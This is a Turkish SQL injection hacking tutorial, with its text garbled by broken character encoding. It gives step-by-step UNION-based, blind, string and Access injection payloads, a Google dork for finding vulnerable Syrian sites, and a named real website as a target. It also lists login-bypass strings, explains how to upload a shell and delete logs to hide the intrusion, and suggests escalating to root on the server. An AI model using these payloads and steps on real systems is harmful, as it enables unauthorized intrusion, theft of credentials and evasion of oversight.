DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
